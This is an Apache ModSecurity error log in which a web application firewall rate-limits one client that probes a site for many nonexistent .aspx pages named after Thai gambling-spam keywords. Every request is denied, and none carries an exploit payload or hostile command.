[Thu Jan 29 22:03:20.477705 2026] [:error] [pid 19069:tid 19081] [client 181.214.166.180:39160] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/u31%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20188.aspx"] [unique_id "aXtoqPDHsRM4BJ9a4Qt8kQAAAAM"]
[Thu Jan 29 22:04:41.732725 2026] [:error] [pid 20580:tid 20679] [client 181.214.166.180:24688] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufa369%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXto-ZCZ5HHdXPmeL59INQAAAos"]
[Thu Jan 29 22:04:42.259514 2026] [:error] [pid 40273:tid 40297] [client 181.214.166.180:12129] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufa369%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXto-hN1IJpP__zZvujLoAAAAFY"]
[Thu Jan 29 22:04:44.372194 2026] [:error] [pid 20576:tid 20589] [client 181.214.166.180:40865] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufa369.aspx"] [unique_id "aXto_CrDZws_FlQGi9eCHAAAAcM"]
[Thu Jan 29 22:04:44.854220 2026] [:error] [pid 20486:tid 20502] [client 181.214.166.180:35765] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufa369.aspx"] [unique_id "aXto_HgqSZb6GBx5nnMPnAAAAQ0"]
[Thu Jan 29 22:04:47.014521 2026] [:error] [pid 20486:tid 20505] [client 181.214.166.180:11614] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufa678.aspx"] [unique_id "aXto_3gqSZb6GBx5nnMPngAAARA"]
[Thu Jan 29 22:04:47.491023 2026] [:error] [pid 19071:tid 19157] [client 181.214.166.180:38236] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufa678.aspx"] [unique_id "aXto_5fa8Ix5wWmtmJydTAAAAJg"]
[Thu Jan 29 22:04:49.652809 2026] [:error] [pid 20576:tid 20602] [client 181.214.166.180:47469] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufa7.aspx"] [unique_id "aXtpASrDZws_FlQGi9eCIwAAAdA"]
[Thu Jan 29 22:04:50.133217 2026] [:error] [pid 39863:tid 39874] [client 181.214.166.180:22364] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufa7.aspx"] [unique_id "aXtpArsHJJGGu8set58ErgAAAUg"]
[Thu Jan 29 22:04:52.265563 2026] [:error] [pid 20580:tid 20691] [client 181.214.166.180:30343] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufa747%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20%E0%B8%A1%E0%B8%B7%E0%B8%AD%E0%B8%96%E0%B8%B7%E0%B8%AD.aspx"] [unique_id "aXtpBJCZ5HHdXPmeL59IOQAAApc"]
[Thu Jan 29 22:04:52.744158 2026] [:error] [pid 39863:tid 39879] [client 181.214.166.180:8459] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufa747%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20%E0%B8%A1%E0%B8%B7%E0%B8%AD%E0%B8%96%E0%B8%B7%E0%B8%AD.aspx"] [unique_id "aXtpBLsHJJGGu8set58ErwAAAU0"]
[Thu Jan 29 22:04:54.908086 2026] [:error] [pid 20486:tid 20505] [client 181.214.166.180:16506] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufa747%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXtpBngqSZb6GBx5nnMPpQAAARA"]
[Thu Jan 29 22:04:55.388320 2026] [:error] [pid 20576:tid 20597] [client 181.214.166.180:52054] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufa747%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXtpByrDZws_FlQGi9eCMAAAAcs"]
[Thu Jan 29 22:04:57.534469 2026] [:error] [pid 39863:tid 39882] [client 181.214.166.180:33830] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufa77.aspx"] [unique_id "aXtpCbsHJJGGu8set58EvQAAAVA"]
[Thu Jan 29 22:04:58.009931 2026] [:error] [pid 40273:tid 40299] [client 181.214.166.180:28418] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufa77.aspx"] [unique_id "aXtpChN1IJpP__zZvujLsQAAAFg"]
[Thu Jan 29 22:05:00.150208 2026] [:error] [pid 20578:tid 20621] [client 181.214.166.180:14120] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufa777%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXtpDA6UX7yOMwQFiydGHgAAAgg"]
[Thu Jan 29 22:05:00.631861 2026] [:error] [pid 20519:tid 20556] [client 181.214.166.180:5555] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufa777%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXtpDAo4s4fyROrkyRn2lQAAAYg"]
[Thu Jan 29 22:05:02.786254 2026] [:error] [pid 20578:tid 20618] [client 181.214.166.180:1230] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufa7777.aspx"] [unique_id "aXtpDg6UX7yOMwQFiydGKgAAAgU"]
[Thu Jan 29 22:05:03.279407 2026] [:error] [pid 39863:tid 39883] [client 181.214.166.180:59671] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufa7777.aspx"] [unique_id "aXtpD7sHJJGGu8set58E0AAAAVE"]
[Thu Jan 29 22:05:05.219214 2026] [:error] [pid 20486:tid 20491] [client 181.214.166.180:28464] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufa888%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20ufabet%20%E0%B8%A1%E0%B8%B7%E0%B8%AD%E0%B8%96%E0%B8%B7%E0%B8%AD.aspx"] [unique_id "aXtpEXgqSZb6GBx5nnMPtQAAAQI"]
[Thu Jan 29 22:05:05.703233 2026] [:error] [pid 40273:tid 40277] [client 181.214.166.180:11787] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufa888%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20ufabet%20%E0%B8%A1%E0%B8%B7%E0%B8%AD%E0%B8%96%E0%B8%B7%E0%B8%AD.aspx"] [unique_id "aXtpERN1IJpP__zZvujLtgAAAEI"]
[Thu Jan 29 22:05:07.841897 2026] [:error] [pid 40273:tid 40294] [client 181.214.166.180:52376] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufabet%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXtpExN1IJpP__zZvujLugAAAFM"]
[Thu Jan 29 22:05:08.324841 2026] [:error] [pid 19069:tid 19089] [client 181.214.166.180:42354] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufabet%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXtpFPDHsRM4BJ9a4Qt9DAAAAAs"]
[Thu Jan 29 22:05:10.490261 2026] [:error] [pid 20486:tid 20511] [client 181.214.166.180:29765] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufabet%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A%20168.aspx"] [unique_id "aXtpFngqSZb6GBx5nnMPuwAAARY"]
[Thu Jan 29 22:05:10.973123 2026] [:error] [pid 39863:tid 39886] [client 181.214.166.180:48290] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufabet%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A%20168.aspx"] [unique_id "aXtpFrsHJJGGu8set58E2wAAAVQ"]
[Thu Jan 29 22:05:13.099277 2026] [:error] [pid 20578:tid 20633] [client 181.214.166.180:7653] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufabet%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXtpGQ6UX7yOMwQFiydGMwAAAhQ"]
[Thu Jan 29 22:05:13.601513 2026] [:error] [pid 20578:tid 20630] [client 181.214.166.180:39015] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufabet%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXtpGQ6UX7yOMwQFiydGNAAAAhE"]
[Thu Jan 29 22:05:15.735615 2026] [:error] [pid 20519:tid 20562] [client 181.214.166.180:61705] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufabet%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A777.aspx"] [unique_id "aXtpGwo4s4fyROrkyRn2oAAAAY4"]
[Thu Jan 29 22:05:16.260132 2026] [:error] [pid 39863:tid 39887] [client 181.214.166.180:48699] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufabet%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A777.aspx"] [unique_id "aXtpHLsHJJGGu8set58E5gAAAVU"]
[Thu Jan 29 22:05:18.374358 2026] [:error] [pid 20579:tid 20660] [client 181.214.166.180:57310] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufabet%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A888.aspx"] [unique_id "aXtpHjVXNopcNyjJc9UthwAAAlM"]
[Thu Jan 29 22:05:18.858211 2026] [:error] [pid 20579:tid 20641] [client 181.214.166.180:43833] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufabet%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A888.aspx"] [unique_id "aXtpHjVXNopcNyjJc9UtigAAAkA"]
[Thu Jan 29 22:05:20.981829 2026] [:error] [pid 19069:tid 19093] [client 181.214.166.180:9925] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufabet%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AB%E0%B8%A5%E0%B8%B1%E0%B8%81.aspx"] [unique_id "aXtpIPDHsRM4BJ9a4Qt9GgAAAA8"]
[Thu Jan 29 22:05:21.462061 2026] [:error] [pid 20580:tid 20671] [client 181.214.166.180:64112] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufabet%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AB%E0%B8%A5%E0%B8%B1%E0%B8%81.aspx"] [unique_id "aXtpIZCZ5HHdXPmeL59ITwAAAoM"]
[Thu Jan 29 22:05:23.616283 2026] [:error] [pid 20519:tid 20553] [client 181.214.166.180:52065] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aXtpIwo4s4fyROrkyRn2sAAAAYU"]
[Thu Jan 29 22:05:24.091792 2026] [:error] [pid 20580:tid 20689] [client 181.214.166.180:51134] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aXtpJJCZ5HHdXPmeL59IUgAAApU"]
[Thu Jan 29 22:05:26.235585 2026] [:error] [pid 20579:tid 20643] [client 181.214.166.180:48054] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aXtpJjVXNopcNyjJc9UtkQAAAkI"]
[Thu Jan 29 22:05:26.716772 2026] [:error] [pid 20486:tid 20507] [client 181.214.166.180:54488] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aXtpJngqSZb6GBx5nnMP0wAAARI"]
[Thu Jan 29 22:05:28.853060 2026] [:error] [pid 20580:tid 20673] [client 181.214.166.180:41105] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aXtpKJCZ5HHdXPmeL59IWAAAAoU"]
[Thu Jan 29 22:05:29.333628 2026] [:error] [pid 20576:tid 20588] [client 181.214.166.180:48781] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aXtpKSrDZws_FlQGi9eCSgAAAcI"]
[Thu Jan 29 22:05:31.480841 2026] [:error] [pid 20579:tid 20661] [client 181.214.166.180:43302] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufabet168%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXtpKzVXNopcNyjJc9UtnAAAAlQ"]
[Thu Jan 29 22:05:31.964723 2026] [:error] [pid 20486:tid 20501] [client 181.214.166.180:59704] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufabet168%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXtpK3gqSZb6GBx5nnMP4gAAAQw"]
[Thu Jan 29 22:05:34.103224 2026] [:error] [pid 20576:tid 20601] [client 181.214.166.180:5481] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufabet168.aspx"] [unique_id "aXtpLirDZws_FlQGi9eCUQAAAc8"]
[Thu Jan 29 22:05:34.591917 2026] [:error] [pid 20576:tid 20597] [client 181.214.166.180:60314] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufabet168.aspx"] [unique_id "aXtpLirDZws_FlQGi9eCUgAAAcs"]
[Thu Jan 29 22:05:36.715171 2026] [:error] [pid 39863:tid 39870] [client 181.214.166.180:2449] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ufabet1688%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXtpMLsHJJGGu8set58E_wAAAUQ"]
[Thu Jan 29 22:06:55.112690 2026] [:error] [pid 20580:tid 20669] [client 181.214.166.180:22402] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xo%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXtpf5CZ5HHdXPmeL59IywAAAoI"]
